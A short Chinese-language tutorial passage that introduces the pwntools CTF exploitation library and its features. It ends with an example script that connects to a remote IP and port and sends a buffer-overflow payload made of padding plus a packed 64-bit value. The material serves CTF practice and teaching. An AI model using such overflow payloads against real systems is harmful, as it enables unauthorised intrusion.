Pwntools 是由 Gallopsled 开发的一款专用于 CTF Exploit 的 Python 库,包含了本地执行、远程连接读写、shellcode 生成、ROP 链的构建、ELF 解析、符号泄漏等众多强大功能,可以说把 EXP 繁琐的过程变得简单起来。(1)项目地址:https://github.com/Gallopsled/pwntools;(2)官方文档:http://docs.pwntools.com/en/latest/。这里只简单介绍一下它的部分 API 使用:借助 pwntools 编写的 exp 脚本示例:from pwn import * coon = remote('111.200.241.244',65238) #连接远程IP和端口 coon.recv() #接收远程发来的内容 payload = b'a'*4 + p64(1853186401) #构建溢出攻击的payload coon.sendline(payload) #向远程发送我们的payload
Norman1z